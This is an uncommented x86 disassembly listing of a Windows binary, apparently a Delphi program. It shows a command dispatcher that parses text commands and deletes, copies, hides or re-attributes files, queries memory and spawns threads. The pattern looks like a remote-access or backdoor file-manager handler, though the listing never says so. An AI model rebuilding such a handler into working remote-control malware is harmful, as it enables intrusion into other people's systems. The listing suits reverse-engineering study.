call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.00409dd8
dec eax
jle 0x495243
mov eax, dword [ebp - 8]
call fcn.00409dd8
mov ebx, eax
test ebx, ebx
jl 0x495251
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409dd8
cmp esi, eax
jne 0x4951f2
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x49523d
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
mov edx, dword [ebp - 0xc]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 0x10]
call fcn.004058fc
push eax
call sub.kernel32.dll_DeleteFileA
inc esi
dec ebx
jne 0x4951d6
jmp 0x495251
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x338]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x338]
mov edx, 0x49bc40
call fcn.00405894
jne 0x495354
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.00409dd8
dec eax
jle 0x49534c
mov eax, dword [ebp - 8]
call fcn.00409dd8
mov ebx, eax
test ebx, ebx
jl 0x495354
inc ebx
xor esi, esi
mov eax, dword [ebp - 8]
call fcn.00409dd8
cmp esi, eax
jne 0x495301
mov eax, dword [ebp - 0xc]
call fcn.0048dbcc
jmp 0x495346
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
mov edx, dword [ebp - 0xc]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 0x10]
call fcn.0048dbcc
inc esi
dec ebx
jne 0x4952eb
jmp 0x495354
mov eax, dword [ebp - 0xc]
call fcn.0048dbcc
mov eax, dword [ebp - 8]
mov edx, 0x49bc5c
call fcn.00405894
jne 0x495368
call fcn.0048dc70
lea eax, [ebp - 0x33c]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x33c]
mov edx, 0x49bc70
call fcn.00405894
jne 0x4953b8
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.004059a4
push 0x80
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x340]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x340]
mov edx, 0x49bc88
call fcn.00405894
jne 0x495405
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.004059a4
push 2
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x344]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x344]
mov edx, 0x49bca0
call fcn.00405894
jne 0x495452
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
push 1
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x348]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x348]
mov edx, 0x49bcb4
call fcn.00405894
jne 0x49549f
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.004059a4
push 4
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x34c]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x34c]
mov edx, 0x49bccc
call fcn.00405894
jne 0x4954ec
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.004059a4
push 0x20
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x350]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x350]
mov edx, 0x49bce4
call fcn.00405894
jne 0x49553c
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
push pe_nt_image_headers32
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x354]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x354]
mov edx, 0x49bcf8
call fcn.00405894
jne 0x495673
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.004059a4
lea ecx, [ebp - 0x198]
mov edx, 0x3f
mov eax, dword [ebp - 8]
call fcn.0040a384
mov ebx, dword [ebp - 0x188]
test ebx, 2
jle 0x4955ad
lea eax, [ebp - 0xc]
mov edx, 0x49bd10
call fcn.00405504
jmp 0x4955ba
lea eax, [ebp - 0xc]
mov edx, 0x49bd20
call fcn.00405504
test ebx, 1
jle 0x4955d1
lea eax, [ebp - 0x10]
mov edx, 0x49bd2c
call fcn.00405504
jmp 0x4955de
lea eax, [ebp - 0x10]
mov edx, 0x49bd20
call fcn.00405504
test ebx, 0x20
jle 0x4955f5
lea eax, [ebp - 0x14]
mov edx, 0x49bd40
call fcn.00405504
jmp 0x495602
lea eax, [ebp - 0x14]
mov edx, 0x49bd20
call fcn.00405504
test ebx, 4
jle 0x495619
lea eax, [ebp - 0x18]
mov edx, 0x49bd50
call fcn.00405504
jmp 0x495626
lea eax, [ebp - 0x18]
mov edx, 0x49bd20
call fcn.00405504
push 0x49bd60
push dword [ebp - 8]
push 0x49bd78
push 0x49bd84
push dword [ebp - 0xc]
push 0x49bda0
push dword [ebp - 0x10]
push 0x49bda0
push dword [ebp - 0x14]
push 0x49bda0
push dword [ebp - 0x18]
push 0x49bdac
lea eax, [ebp - 0x358]
mov edx, 0xc
call fcn.00405800
mov eax, dword [ebp - 0x358]
call fcn.004938a4
lea eax, [ebp - 0x35c]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x35c]
mov edx, 0x49bdb8
call fcn.00405894
jne 0x495ab4
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4d14]
cmp dword [eax], 0
je 0x495ab4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [0x4a4d14]
mov edx, dword [edx]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov eax, dword [0x4a4d14]
mov eax, dword [eax]
mov edx, 1
call fcn.00405964
mov edx, dword [0x4a4d14]
mov edx, dword [edx]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
mov eax, dword [0x4a4d14]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x360]
push eax
mov edx, dword [0x4a4d14]
mov edx, dword [edx]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov eax, dword [0x4a4d14]
mov eax, dword [eax]
mov edx, 1
call fcn.00405964
mov eax, dword [ebp - 0x360]
call fcn.00409dd8
mov esi, eax
mov edx, dword [0x4a4d14]
mov edx, dword [edx]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
mov eax, dword [0x4a4d14]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [0x4a4d14]
mov edx, dword [edx]
call fcn.00405504
mov eax, dword [ebp - 0x14]
mov edx, 0x49b93c
call fcn.00405894
jne 0x495950
cmp esi, 1
jle 0x4958ff
mov ebx, esi
test ebx, ebx
jle 0x495aa0
mov edi, 1
cmp esi, edi
je 0x4958a6
push 0xffffffffffffffff
lea eax, [ebp - 0x36c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
mov eax, dword [ebp - 0x36c]
lea edx, [ebp - 0x368]
call fcn.0040a588
mov ecx, dword [ebp - 0x368]
lea eax, [ebp - 0x364]
mov edx, dword [ebp - 8]
call fcn.00405784
mov eax, dword [ebp - 0x364]
call fcn.004058fc
push eax
lea eax, [ebp - 0x370]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
mov eax, dword [ebp - 0x370]
call fcn.004058fc
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x374]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x1d8]
call fcn.004058fc
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x1d9], al
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.004059a4
jmp 0x4958f2
push 0xffffffffffffffff
lea edx, [ebp - 0x37c]
mov eax, dword [ebp - 0xc]
call fcn.0040a588
mov ecx, dword [ebp - 0x37c]
lea eax, [ebp - 0x378]
mov edx, dword [ebp - 8]
call fcn.00405784
mov eax, dword [ebp - 0x378]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
call sub.kernel32.dll_DeleteFileA
inc edi
dec ebx
jne 0x4957a7
jmp 0x495aa0
push 0xffffffffffffffff
lea edx, [ebp - 0x384]
mov eax, dword [ebp - 0xc]
call fcn.0040a588
mov ecx, dword [ebp - 0x384]
lea eax, [ebp - 0x380]
mov edx, dword [ebp - 8]
call fcn.00405784
mov eax, dword [ebp - 0x380]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x495aa0
cmp esi, 1
jle 0x495a62
mov ebx, esi
test ebx, ebx
jle 0x495aa0
mov edi, 1
cmp esi, edi
je 0x495a1a
push 0xffffffffffffffff
lea eax, [ebp - 0x390]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
mov eax, dword [ebp - 0x390]
lea edx, [ebp - 0x38c]
call fcn.0040a588
mov ecx, dword [ebp - 0x38c]
lea eax, [ebp - 0x388]
mov edx, dword [ebp - 8]
call fcn.00405784
mov eax, dword [ebp - 0x388]
call fcn.004058fc
push eax
lea eax, [ebp - 0x394]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
mov eax, dword [ebp - 0x394]
call fcn.004058fc
push eax
call sub.kernel32.dll_CopyFileA
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.004059a4
jmp 0x495a58
push 0xffffffffffffffff
lea edx, [ebp - 0x39c]
mov eax, dword [ebp - 0xc]
call fcn.0040a588
mov ecx, dword [ebp - 0x39c]
lea eax, [ebp - 0x398]
mov edx, dword [ebp - 8]
call fcn.00405784
mov eax, dword [ebp - 0x398]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
call sub.kernel32.dll_CopyFileA
inc edi
dec ebx
jne 0x495968
jmp 0x495aa0
push 0xffffffffffffffff
lea edx, [ebp - 0x3a4]
mov eax, dword [ebp - 0xc]
call fcn.0040a588
mov ecx, dword [ebp - 0x3a4]
lea eax, [ebp - 0x3a0]
mov edx, dword [ebp - 8]
call fcn.00405784
mov eax, dword [ebp - 0x3a0]
call fcn.004058fc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004058fc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x4a4d14]
call fcn.0040546c
mov eax, 0x49bdcc
call fcn.004938a4
lea eax, [ebp - 0x3a8]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3a8]
mov edx, 0x49bde0
call fcn.00405894
jne 0x495afe
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4d14]
mov edx, dword [ebp - 8]
call fcn.004054c0
lea eax, [ebp - 0x3ac]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3ac]
mov edx, 0x49bdf8
call fcn.00405894
jne 0x495bde
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
push 0
call sub.ole32.dll_CoInitialize
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.00405504
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00484c94
call sub.ole32.dll_CoUninitialize
lea eax, [ebp - 0x3b0]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3b0]
mov edx, 0x49be0c
call fcn.00405894
jne 0x495c9f
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
lea edx, [ebp - 0x3b4]
mov eax, dword [ebp - 0xc]
call fcn.0040a49c
lea eax, [ebp - 0x3b4]
mov edx, dword [ebp - 0x10]
call fcn.00405738
mov edx, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0xc]
call fcn.0048b7b0
test al, al
jne 0x495c9f
mov eax, 0x49be20
call fcn.004938a4
lea eax, [ebp - 0x3b8]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3b8]
mov edx, 0x49be34
call fcn.00405894
jne 0x495d3d
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0048b7b0
test al, al
jne 0x495d3d
mov eax, 0x49be48
call fcn.004938a4
lea eax, [ebp - 0x3bc]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3bc]
mov edx, 0x49be5c
call fcn.00405894
jne 0x495daf
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x495d74
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3c0]
push eax
mov ecx, ebx
mov edx, 7
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3c0]
call fcn.0048b794
test al, al
je 0x495da5
mov eax, 0x49bdcc
call fcn.004938a4
jmp 0x495daf
mov eax, 0x49be6c
call fcn.004938a4
lea eax, [ebp - 0x3c4]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3c4]
mov edx, 0x49be80
call fcn.00405894
jne 0x495e2a
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.0048fc18
test al, al
jne 0x495e20
push 0x49be90
push dword [ebp - 8]
push 0x49bea0
lea eax, [ebp - 0x3c8]
mov edx, 3
call fcn.00405800
mov eax, dword [ebp - 0x3c8]
call fcn.0048b0c8
mov eax, 0x49bdcc
call fcn.004938a4
lea eax, [ebp - 0x3cc]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3cc]
mov edx, 0x49beb0
call fcn.00405894
jne 0x495e77
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
push 2
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x3d0]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3d0]
mov edx, 0x49bec4
call fcn.00405894
jne 0x495ec7
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.004059a4
push 0x80
mov eax, dword [ebp - 8]
call fcn.004058fc
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 8]
mov edx, 0x49bed8
call fcn.00405894
jne 0x495f4f
lea eax, [ebp - 0x238]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
push 0x49bed8
call fcn.00484b38
lea edx, [ebp - 0x3d8]
call fcn.00409c6c
push dword [ebp - 0x3d8]
push 0x49b8bc
lea eax, [ebp - 0x3dc]
push eax
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0x3e4], eax
mov byte [ebp - 0x3e0], 0
lea edx, [ebp - 0x3e4]
xor ecx, ecx
mov eax, 0x49bee8
call fcn.0040ae94
push dword [ebp - 0x3dc]
lea eax, [ebp - 0x3d4]
mov edx, 4
call fcn.00405800
mov eax, dword [ebp - 0x3d4]
call fcn.004938a4
lea eax, [ebp - 0x3e8]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3e8]
mov edx, 0x49bef4
call fcn.00405894
jne 0x496140
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4fc8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4cb0]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [0x4a4b90]
mov edx, dword [ebp - 8]
call fcn.004054c0
push 0xc
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1a0]
mov ebx, eax
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.004054c0
lea eax, [ebx + 4]
mov edx, dword [ebp - 0x10]
call fcn.004054c0
mov eax, dword [ebp - 0xc]
mov edx, 0x49b93c
call fcn.00405894
jne 0x496113
mov byte [ebx + 8], 1
jmp 0x496117
mov byte [ebx + 8], 0
mov eax, dword [0x4a4d70]
mov byte [eax], 0
lea eax, [ebp - 4]
push eax
push 0
mov eax, dword [ebp - 0x1a0]
push eax
push 0x4933ec
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
mov edx, 0x49bf08
call fcn.00405894
jne 0x496157
mov eax, dword [0x4a4d70]
mov byte [eax], 1
lea eax, [ebp - 0x3ec]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3ec]
mov edx, 0x49bf1c
call fcn.00405894
jne 0x4961ae
lea eax, [ebp - 0x3f4]
call fcn.004848a8
mov ecx, dword [ebp - 0x3f4]
lea eax, [ebp - 0x3f0]
mov edx, 0x49bf1c
call fcn.00405784
mov eax, dword [ebp - 0x3f0]
call fcn.004938a4
lea eax, [ebp - 0x3f8]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x3f8]
mov edx, 0x49bf2c
call fcn.00405894
jne 0x49620b
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
push ebp
lea eax, [ebp - 0x3fc]
call fcn.0048af20
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [ebp - 8]
mov edx, 0x49bf40
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x400]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x400]
mov edx, 0x49bf50
call fcn.00405894
jne 0x4962bc
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.00405504
push ebp
mov eax, dword [ebp - 0xc]
call fcn.00409dd8
lea edx, [ebp - 0x404]
call fcn.0048bb88
mov eax, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x10]
mov edx, 0x49bf64
call fcn.00493ce0
pop ecx
lea eax, [ebp - 0x408]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x408]
mov edx, 0x49bf74
call fcn.00405894
jne 0x4963c0
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.00409dd8
mov esi, eax
mov ebx, esi
test ebx, ebx
jle 0x4963b6
mov edi, 1
cmp esi, edi
je 0x4963a5
lea eax, [ebp - 0x40c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405964
mov eax, dword [ebp - 0x40c]
call fcn.00409dd8
call fcn.0048abec
mov edx, dword [ebp - 0xc]
mov eax, 0x49bc34
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.004059a4
jmp 0x4963b2
mov eax, dword [ebp - 0xc]
call fcn.00409dd8
call fcn.0048abec
inc edi
dec ebx
jne 0x49634f
mov eax, 0x49bf88
call fcn.004938a4
lea eax, [ebp - 0x410]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x410]
mov edx, 0x49bf9c
call fcn.00405894
jne 0x496498
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.004059a4
mov dl, 1
mov eax, dword [0x417608]
call fcn.00404610
mov dword [ebp - 0x1b4], eax
xor eax, eax
push ebp
push 0x496491
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x414]
xor edx, edx
mov eax, dword [ebp - 0x1b4]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x414]
call fcn.00409dd8
call fcn.0048abec
xor edx, edx
mov eax, dword [ebp - 0x1b4]
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x1b4]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x49642f
mov eax, 0x49bf88
call fcn.004938a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x496498
mov eax, dword [ebp - 0x1b4]
call fcn.00404640
ret
lea eax, [ebp - 0x418]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x418]
mov edx, 0x49bfac
call fcn.00405894
jne 0x4964ec
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.004059a4
mov eax, dword [ebp - 8]
call fcn.00409dd8
call fcn.0048abec
mov eax, 0x49bf88
call fcn.004938a4
lea eax, [ebp - 0x41c]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov eax, dword [ebp - 0x41c]
mov edx, 0x49bfc4
call fcn.00405894
jne 0x496682
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.004059a4
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405964
mov edx, dword [ebp - 8]
mov eax, 0x49b8bc
call fcn.00405a48
mov ecx, eax
